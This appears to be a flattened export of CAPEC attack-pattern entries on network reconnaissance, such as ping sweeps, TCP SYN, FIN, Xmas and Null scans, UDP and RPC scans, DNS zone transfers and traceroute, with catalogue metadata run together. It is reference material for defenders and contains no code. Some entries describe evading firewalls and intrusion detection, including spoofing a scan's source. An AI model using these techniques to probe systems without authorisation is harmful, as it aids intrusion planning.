ICMP Echo Request Ping Detailed An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round- trip time, and measure the percentage of packet loss. Performing this operation for a range of hosts on the network is known as a 'Ping Sweep'. While the Ping utility is useful for small-scale host discovery, it was not designed for rapid or efficient host discovery over large network blocks. Other scanning utilities have been created that make ICMP ping sweeps easier to perform. Most networks filter ingress ICMP Type 8 messages for security reasons. Various other methods of performing ping sweeps have developed as a result. It is important to recognize the key security goal of the adversary is to discover if an IP address is alive, or has a responsive host. To this end, virtually any type of ICMP message, as defined by RFC 792 is useful. An adversary can cycle through various types of ICMP messages to determine if holes exist in the firewall configuration. When ICMP ping sweeps fail to discover hosts, other protocols can be used for the same purpose, such as TCP SYN or ACK segments, UDP datagrams sent to closed ports, etc. 2014-06-23 02:00:00 Capec: CAPEC-285
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-123
Reference_from_capec: REF-124
Reference_from_capec: REF-125
Reference_from_capec: REF-34
2022-02-22 01:00:00 2.1 Confidentiality:
  • Other (A successful attack of this kind can identify open ports and available services on a system.)
Software
None Medium
  • The ability to send an ICMP type 8 query (Echo Request) to a remote target and receive an ICMP type 0 message (ICMP Echo Reply) in response. Any firewalls or access control lists between the sender and receiver must allow ICMP Type 8 and ICMP Type 0 messages in order for a ping operation to succeed.
  • Scanners or utilities that provide the ability to send custom ICMP queries.
Low: The adversary needs to know certain linux commands for this type of attack. Stable Low 3.9
292
TCP SYN Scan Detailed An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed. RFC 793 defines the required behavior of any TCP/IP device in that an incoming connection request begins with a SYN packet, which in turn must be followed by a SYN/ACK packet from the receiving service. For this reason, like TCP Connect scanning, SYN scanning works against any TCP stack. Unlike TCP Connect scanning, it is possible to scan thousands of ports per second using this method. This type of scanning is usually referred to as 'half-open' scanning because it does not complete the three-way handshake. The scanning rate is extremely fast because no time is wasted completing the handshake or tearing down the connection. This technique allows an attacker to scan through stateful firewalls due to the common configuration that TCP SYN segments for a new connection will be allowed for almost any port. TCP SYN scanning can also immediately detect 3 of the 4 important types of port status: open, closed, and filtered. 2014-06-23 02:00:00 Capec: CAPEC-287
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other (A successful attack of this kind can identify open ports and available services on a system.)
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software

Experiment

  1. An adversary sends SYN packets to ports they want to scan and checks the response without completing the TCP handshake.
  2. An adversary uses the response from the target to determine the port's state. The adversary can determine the state of a port based on the following responses. When a SYN is sent to an open port and unfiltered port, a SYN/ACK will be generated. When a SYN packet is sent to a closed port a RST is generated, indicating the port is closed. When SYN scanning to a particular port generates no response, or when the request triggers ICMP Type 3 unreachable errors, the port is filtered.
None
  • This scan type is not possible with some operating systems (Windows XP SP 2). On Linux and Unix systems it requires root privileges to use raw sockets.
  • The ability to send TCP SYN segments to a host during network reconnaissance via the use of a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
300
Enumerate Mail Exchange (MX) Records Detailed An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible. 2014-06-23 02:00:00 Capec: CAPEC-290
Cwe: CWE-200
Reference_from_capec: REF-33
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None None
  • The adversary requires access to a DNS server that will return the MX records for a network.
  • A command-line utility or other application capable of sending requests to the DNS server is necessary.
Stable Low 3.9
309
DNS Zone Transfers Detailed An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed. 2014-06-23 02:00:00 Capec: CAPEC-291
Cwe: CWE-200
Reference_from_capec: REF-33
2018-07-31 02:00:00 2.1 Confidentiality:
  • Read Data
Software
None None
  • Access to a DNS server that allows Zone transfers.
  • A client application capable of interacting with the DNS server or a command- line utility or web application that automates DNS interactions.
Stable Low 3.9
309
Traceroute Route Enumeration Detailed An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed. 2014-06-23 02:00:00 Capec: CAPEC-293
Cwe: CWE-200
Reference_from_capec: REF-33
2018-07-31 02:00:00 2.1 Confidentiality:
  • Other
Software
None None
  • A network capable of routing the attackers' packets to the destination network.
  • A command line version of traceroute or similar tool that performs route enumeration.
Stable Low 3.9
309
ICMP Address Mask Request Detailed An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address. Many modern operating systems will not respond to ICMP type 17 messages for security reasons. Determining whether a system or router will respond to an ICMP Address Mask Request helps the adversary determine operating system or firmware version. Additionally, because these types of messages are rare, they are easily spotted by intrusion detection systems. Many ICMP scanning tools support IP spoofing to help conceal the origin of the actual request among a storm of similar ICMP messages. It is a common practice for border firewalls and gateways to be configured to block ingress ICMP type 17 and egress ICMP type 18 messages. 2014-06-23 02:00:00 Capec: CAPEC-294
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-139
Reference_from_capec: REF-123
Reference_from_capec: REF-125
Reference_from_capec: REF-34
2022-02-22 01:00:00 2.1 Authorization:
  • Hide Activities
Access Control:
  • Hide Activities
Confidentiality:
  • Other
  • Hide Activities
Software
None None
  • The ability to send an ICMP type 17 query (Address Mask Request) to a remote target and receive an ICMP type 18 message (ICMP Address Mask Reply) in response. Generally, modern operating systems will ignore ICMP type 17 messages, however, routers will commonly respond to this request.
  • The ability to send custom ICMP queries. This can be accomplished via the use of various scanners or utilities.
Stable Low 3.9
292
Timestamp Request Detailed This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms. 2014-06-23 02:00:00 Capec: CAPEC-295
Cwe: CWE-200
Attack: T1124
Reference_from_capec: REF-33
Reference_from_capec: REF-123
Reference_from_capec: REF-124
Reference_from_capec: REF-125
Reference_from_capec: REF-147
2019-09-30 02:00:00 2.1 Confidentiality:
  • Other
Software
  1. An adversary sends an ICMP type 13 Timestamp Request to determine the time as recorded by a remote target. Timestamp Replies, ICMP Type 14, usually return a value in Greenwich Mean Time. An adversary can attempt to use an ICMP Timestamp requests to 'ping' a remote system to see if is alive. Additionally, because these types of messages are rare they are easily spotted by intrusion detection systems, many ICMP scanning tools support IP spoofing to help conceal the origin of the actual request among a storm of similar ICMP messages. It is a common practice for border firewalls and gateways to be configured to block ingress ICMP type 13 and egress ICMP type 14 messages.
  2. An adversary may gather the system time or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. The information could be useful for performing other techniques, such as executing a file with a Scheduled Task, or to discover locality information based on time zone to assist in victim targeting
None None
  • The ability to send a timestamp request to a remote target and receive a response.
  • Scanners or utilities that provide the ability to send custom ICMP queries.
Stable Low 3.9
292
ICMP Information Request Detailed An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP. 2014-06-23 02:00:00 Capec: CAPEC-296
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-123
Reference_from_capec: REF-124
Reference_from_capec: REF-125
Reference_from_capec: REF-34
2019-09-30 02:00:00 2.1 Confidentiality:
  • Other
Software
None None
  • The ability to send an ICMP Type 15 Information Request and receive an ICMP Type 16 Information Reply in response.
  • Scanners or utilities that provide the ability to send custom ICMP queries.
Low: The adversary needs to know certain linux commands for this type of attack. Stable Low 3.9
292
TCP ACK Ping Detailed An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host. 2014-06-23 02:00:00 Capec: CAPEC-297
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-34
Reference_from_capec: REF-125
2019-09-30 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None None
  • The ability to send an ACK packet to a remote host and identify the response. Creating the ACK packet without building a full connection requires the use of raw sockets. As a result, it is not possible to send a TCP ACK ping from some systems (Windows XP SP 2) without the use of third-party packet drivers like Winpcap. On other systems (BSD, Linux) administrative privileges are required in order to write to the raw socket.
  • The target must employ a stateless firewall that lacks a rule set that rejects unsolicited ACK packets.
  • The adversary requires the ability to craft custom TCP ACK segments for use during network reconnaissance. Sending an ACK ping requires the ability to access "raw sockets" in order to create the packets with direct access to the packet header.
  • ACK scanning can be performed via the use of a port scanner or by raw socket manipulation using a scripting or programming language. Packet injection tools are also useful for this purpose. Depending upon the technique used it may also be necessary to sniff the network in order to see the response.
Stable Low 3.9
292
UDP Ping Detailed An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts. 2014-06-23 02:00:00 Capec: CAPEC-298
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-158
Reference_from_capec: REF-125
Reference_from_capec: REF-34
2019-09-30 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None None
  • The adversary requires the ability to send a UDP datagram to a remote host and receive a response.
  • The adversary requires the ability to craft custom UDP Packets for use during network reconnaissance.
  • The target's firewall must not be configured to block egress ICMP messages.
  • UDP pings can be performed via the use of a port scanner or by raw socket manipulation using a scripting or programming language. Packet injection tools are also useful for this purpose. Depending upon the technique used it may also be necessary to sniff the network in order to see the response.
Stable Low 3.9
292
TCP SYN Ping Detailed An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three- way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response. Due to the different responses from open and closed ports, SYN packets can be used to determine the remote state of the port. A TCP SYN ping is also useful for discovering alive hosts protected by a stateful firewall. In cases where a specific firewall rule does not block access to a port, a SYN packet can pass through the firewall to the host and solicit a response from either an open or closed port. When a stateful firewall is present, SYN pings are preferable to ACK pings because a stateful firewall will typically drop all unsolicited ACK packets as they are not part of an existing or new connection. TCP SYN pings often fail when a stateless ACL or firewall is configured to blanket-filter incoming packets to a port. The firewall device will discard any SYN packets to a blocked port. Often, an adversary will alternate between SYN and ACK pings to discover if a host is alive. 2014-06-23 02:00:00 Capec: CAPEC-299
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-34
Reference_from_capec: REF-125
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None None
  • The ability to send a TCP SYN packet to a remote target. Depending upon the operating system, the ability to craft SYN packets may require elevated privileges.
  • SYN pings can be performed via the use of a port scanner or by raw socket manipulation using a scripting or programming language. Packet injection tools are also useful for this purpose. Depending upon the technique used it may also be necessary to sniff the network in order to see the response.
Low: The adversary needs to know how to craft and send protocol commands from the command line or within a tool. Stable Low 3.9
292
TCP Connect Scan Detailed An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack. RFC 793 defines how TCP connections are established and torn down. TCP connect scanning commonly involves establishing a full connection, and then subsequently tearing it down, and therefore involves sending a significant number of packets to each port that is scanned. Compared to other types of scans, a TCP Connect scan is slow and methodical. This type of scanning causes considerable noise in system logs and can be spotted by IDS/IPS systems. TCP Connect scanning can detect when a port is open by completing the three-way handshake, but it cannot distinguish a port that is unfiltered with no service running on it from a port that is filtered by a firewall but contains an active service. Due to the significant volume of packets exchanged per port, TCP connect scanning can become very time consuming (performing a full TCP connect scan against a host can take multiple days). Generally, it is not used as a method for performing a comprehensive port scan, but is reserved for checking a short list of common ports. 2014-06-23 02:00:00 Capec: CAPEC-301
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Confidentiality:
  • Read Data
Communications
Software

Experiment

  1. An adversary attempts to initialize a TCP connection with with the target port.
  2. An adversary uses the result of their TCP connection to determine the state of the target port. A successful connection indicates a port is open with a service listening on it while a failed connection indicates the port is not open.
None
  • The adversary requires logical access to the target network. The TCP connect Scan requires the ability to connect to an available port and complete a 'three-way-handshake' This scanning technique does not require any special privileges in order to perform. This type of scan works against all TCP/IP stack implementations.
  • The adversary can leverage a network mapper or scanner, or perform this attack via routine socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network to see the response.
Stable Low 3.9
300
TCP FIN Scan Detailed An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets. In addition to its relative speed in comparison with other types of scans, the major advantage a TCP FIN Scan is its ability to scan through stateless firewall or ACL filters. Such filters are configured to block access to ports usually by preventing SYN packets, thus stopping any attempt to 'build' a connection. FIN packets, like out-of-state ACK packets, tend to pass through such devices undetected. FIN scanning is still relatively stealthy as the packets tend to blend in with the background noise on a network link. 2014-06-23 02:00:00 Capec: CAPEC-302
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-147
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software

Experiment

  1. An adversary sends TCP packets with the FIN flag but not associated with an existing connection to target ports.
  2. An adversary uses the response from the target to determine the port's state. If no response is received the port is open. If a RST packet is received then the port is closed.
None
  • FIN scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
  • This attack pattern requires the ability to send TCP FIN segments to a host during network reconnaissance. This can be achieved via the use of a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
300
TCP Xmas Scan Detailed An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets. In addition to its relative speed when compared with other types of scans, its major advantage is its ability to scan through stateless firewall or ACL filters. Such filters are configured to block access to ports usually by preventing SYN packets, thus stopping any attempt to 'build' a connection. XMAS packets, like out-of-state FIN or ACK packets, tend to pass through such devices undetected. Because open ports are inferred via no responses being generated, one cannot distinguish an open port from a filtered port without further analysis. For instance, XMAS scanning a system protected by a stateful firewall may indicate all ports being open. Because of their obvious rule- breaking nature, XMAS scans are flagged by almost all intrusion prevention or intrusion detection systems. 2014-06-23 02:00:00 Capec: CAPEC-303
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Availability:
  • Unreliable Execution
Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software

Experiment

  1. An adversary sends TCP packets with all flags set but not associated with an existing connection to target ports.
  2. An adversary uses the response from the target to determine the port's state. If no response is received the port is open. If a RST packet is received then the port is closed.
None
  • The adversary needs logical access to the target network. XMAS scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
  • This attack can be carried out with a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
300
TCP Null Scan Detailed An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of- state Flag sent to an open port is discarded, whereas segments with out-of- state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets. In addition to being fast, the major advantage of this scan type is its ability to scan through stateless firewall or ACL filters. Such filters are configured to block access to ports usually by preventing SYN packets, thus stopping any attempt to 'build' a connection. NULL packets, like out-of-state FIN or ACK packets, tend to pass through such devices undetected. Additionally, because open ports are inferred via no responses being generated, one cannot distinguish an open port from a filtered port without further analysis. For instance, NULL scanning a system protected by a stateful firewall may indicate all ports being open. Because of their obvious rule- breaking nature, NULL scans are flagged by almost all intrusion prevention or intrusion detection systems. 2014-06-23 02:00:00 Capec: CAPEC-304
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software

Experiment

  1. An adversary sends TCP packets with no flags set and that are not associated with an existing connection to target ports.
  2. An adversary uses the response from the target to determine the port's state. If no response is received the port is open. If a RST packet is received then the port is closed.
None
  • The adversary requires logical access to the target network. NULL scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
  • This attack can be carried out via a network mapper/scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
300
TCP ACK Scan Detailed An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present. When a TCP ACK segment is sent to a closed port, or sent out-of-sync to a listening port, the RFC 793 expected behavior is for the device to respond with a RST. Getting RSTs back in response to a ACK scan gives the attacker useful information that can be used to infer the type of firewall present. Stateful firewalls will discard out-of-sync ACK packets, leading to no response. When this occurs the port is marked as filtered. When RSTs are received in response, the ports are marked as unfiltered, as the ACK packets solicited the expected behavior from a port. When combined with SYN techniques an attacker can gain a more complete picture of which types of packets get through to a host and thereby map out its firewall rule-set. ACK scanning, when combined with SYN scanning, also allows the adversary to analyze whether a firewall is stateful or non-stateful (described in notes). TCP ACK Scans are somewhat faster and more stealthy than other types of scans but often requires rather sophisticated analysis by an experienced person. A skilled adversary may use this method to map out firewall rules, but the results of ACK scanning will be less useful to a novice. 2014-06-23 02:00:00 Capec: CAPEC-305
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software

Experiment

  1. An adversary sends TCP packets with the ACK flag set and that are not associated with an existing connection to target ports.
  2. An adversary uses the response from the target to determine the port's state. If a RST packet is received the target port is either closed or the ACK was sent out-of-sync. If no response is received, the target is likely using a stateful firewall.
None
  • The adversary requires logical access to the target network. ACK scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
  • This attack can be achieved via the use of a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
300
TCP Window Scan Detailed An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status. 2014-06-23 02:00:00 Capec: CAPEC-306
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2020-12-17 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software

Experiment

  1. An adversary sends TCP packets with the ACK flag set and that are not associated with an existing connection to target ports.
  2. An adversary uses the response from the target to determine the port's state. Specifically, the adversary views the TCP window size from the returned RST packet if one was received. Depending on the target operating system, a positive window size may indicate an open port while a negative window size may indicate a closed port.
None
  • TCP Window scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
  • The ability to send TCP segments with a custom window size to a host during network reconnaissance. This can be achieved via the use of a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
300
TCP RPC Scan Detailed An adversary scans for RPC services listing on a Unix/Linux host. This type of scan can be obtained via native operating system utilities or via port scanners like nmap. When performed by a scanner, an RPC datagram is sent to a list of UDP ports and the response is recorded. Particular types of responses can be indicative of well-known RPC services running on a UDP port. Discovering RPC services gives the adversary potential targets to attack, as some RPC services are insecure by default. Direct RPC scans that bypass portmapper/sunrpc are typically slow compare to other scan types, are easily detected by IPS/IDS systems, and can only detect open ports when an RPC service responds. ICMP diagnostic message responses can help identify closed ports, however filtered and unfiltered ports cannot be identified through TCP RPC scans. There are two general approaches to RPC scanning: One is to use a native operating system utility, or script, to query the portmapper/rpcbind application running on port 111. Portmapper will return a list of registered RPC services. Alternately, one can use a port scanner or script to scan for RPC services directly. 2014-06-23 02:00:00 Capec: CAPEC-307
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-158
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software

Experiment

  1. An adversary sends RCP packets to target ports.
  2. An adversary uses the response from the target to determine which, if any, RPC service is running on that port. Responses will vary based on which RPC service is running.
None
  • RPC scanning requires no special privileges when it is performed via a native system utility.
  • The ability to craft custom RPC datagrams for use during network reconnaissance via native OS utilities or a port scanning tool. By tailoring the bytes injected one can scan for specific RPC-registered services. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
300
UDP Scan Detailed An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port. During a UDP scan, a datagram is sent to a target port. If an 'ICMP Type 3 Port unreachable' error message is returned then the port is considered closed. Different types of ICMP messages can indicate a filtered port. UDP scanning is slower than TCP scanning. The protocol characteristics of UDP make port scanning inherently more difficult than with TCP, as well as dependent upon ICMP for accurate scanning. Due to ambiguities that can arise between open ports and filtered ports, UDP scanning results often require a high degree of interpretation and further testing to refine. In general, UDP scanning results are less reliable or accurate than TCP-based scanning. 2014-06-23 02:00:00 Capec: CAPEC-308
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-158
Reference_from_capec: REF-34
Reference_from_capec: REF-130
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Communications
Software

Experiment

  1. An adversary sends UDP packets to target ports.
  2. An adversary uses the response from the target to determine the port's state. Whether a port responds to a UDP packet is dependant on what application is listening on that port. No response does not indicate the port is not open.
None
  • The ability to send UDP datagrams to a host and receive ICMP error messages from that host. In cases where particular types of ICMP messaging is disallowed, the reliability of UDP scanning drops off sharply.
  • The ability to craft custom UDP Packets for use during network reconnaissance. This can be accomplished via the use of a port scanner, or via socket manipulation in a programming or scripting language. Packet injection tools are also useful. It is also necessary to trap ICMP diagnostic messages during this process. Depending upon the method used it may be necessary to sniff the network in order to see the response.
Stable Low 3.9
300
Scanning for Vulnerable Software Detailed An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed. 2014-06-23 02:00:00 Capec: CAPEC-310
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-130
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Other
  • Bypass Protection Mechanism
  • Hide Activities
Software
None None
  • Access to the network on which the targeted system resides.
  • Software tools used to probe systems over a range of ports and protocols.
  • Probing requires the ability to interactively send and receive data from a target, whereas passive listening requires a sufficient understanding of the protocol to analyze a preexisting channel of communication.
